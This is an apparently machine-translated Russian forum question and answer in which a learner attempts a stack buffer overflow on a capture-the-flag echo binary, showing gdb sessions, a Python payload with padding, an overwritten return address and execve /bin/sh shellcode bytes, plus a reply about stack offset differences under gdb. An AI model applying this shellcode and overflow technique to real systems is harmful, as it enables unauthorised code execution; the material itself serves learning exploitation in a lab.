C Простое Переполнение Буфера

Я пытаюсь узнать, как работают переполнения буфера и как это можно использовать.
Я решаю простую задачу (backdoorlabs echo challenge), пытаясь использовать предоставленный двоичный файл.

(см.: http://hack.bckdr.in/ECHO/echo)

Я думаю, что я делаю все правильно (в соответствии с руководствами и учебниками, которые я читал), но все равно это не работает и сводит меня с ума уже несколько часов.

Bufferoverflow позволяет мне написать следующую инструкцию (eip).

(gdb) run <<< $(python -c 'print "A"*62+"BBBB"')    

The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /tmp/vul <<< $(python -c 'print "A"*62+"BBBB"')
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)

Таким образом, я могу перезаписать следующий eip, теперь давайте добавим код оболочки 21 байт, который порождает оболочку, и попытаемся найти адрес, где он находится.

(gdb) run <<< $(python -c 'print "A"*62+"BBBB"+"x31xc9xf7xe1x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xb0x0bxcdx80"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /tmp/vul <<< $(python -c 'print "A"*62+"BBBB"+"x31xc9xf7xe1x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xb0x0bxcdx80"')
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB1▒▒▒Qh//shh/bin▒▒
         ̀

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/100x $sp
0xbffff750:     0xe1f7c931      0x2f2f6851      0x2f686873      0x896e6962
0xbffff760:     0xcd0bb0e3      0xbfff0080      0xbffff80c      0xb7fff3d0
0xbffff770:     0x08048480      0xffffffff      0x0012efc4      0x080482d8
0xbffff780:     0x00000001      0xbffff7c0      0x0011eb25      0x0012fab0

Bingo shellcode прямо здесь загружен на 0xbffff750, так что это адрес, который мы хотим адресовать eip..

До сих пор все выглядит правильно для меня, поэтому я пробую его с правильными значениями.

(gdb) run <<< $(python -c 'print "A"*62+"x50xf7xffxbf"+"x31xc9xf7xe1x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xb0x0bxcdx80"')
Starting program: /tmp/vul <<< $(python -c 'print "A"*62+"x50xf7xffxbf"+"x31xc9xf7xe1x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xb0x0bxcdx80"')
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP▒▒▒1▒▒▒Qh//shh/bin▒▒
         ̀

Program received signal SIGSEGV, Segmentation fault.
0xbffff750 in ?? ()
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.192.el6.i686
(gdb)


(gdb) x/i $eip
=> 0xbffff750:  xor    %ecx,%ecx
(gdb)

Eip был изменен на правильный адрес, и shellcode находится на месте, однако, когда я пытаюсь его в моей оболочке, он не работает и все еще segfaults, как вы можете видеть.

[rick@TESTBOX tmp]$ ./vul <<< $(python -c 'print "A"*62+"x50xf7xffxbf"+"x31xc9xf7xe1x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xb0x0bxcdx80"')
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP▒▒▒1▒▒▒Qh//shh/bin▒▒
         ̀
Segmentation fault
[rick@TESTBOX tmp]$

У кого-то здесь есть какие-то мысли об этом, видит ошибку или есть какие-то другие идеи ?
Как уже упоминалось, я новичок, пытающийся понять основные принципы, и, очевидно, я делаю что-то не так.

1 ответ

  1. Я думаю, что ваша проблема:

    существует разница между реальным выполнением программы и контролируемой gdb.

    Вам нужно

    1. предсказать эту разницу. И этот вопрос дает пример того, как это сделать.

    ИЛИ

    1. Я столкнулся с вашей проблемой несколько месяцев назад. В то время я заметил эту разницу. Но я не использовал этот способ, чтобы найти разницу, вместо этого я использовал способ грубой силы, показанный в искусстве эксплуатации 0x331 : попробуйте различные смещения со скриптом оболочки.

    Этот вопрос может помочь вам в будущем, который говорит вам, как отключить некоторые функции безопасности, чтобы позволить вам атаковать.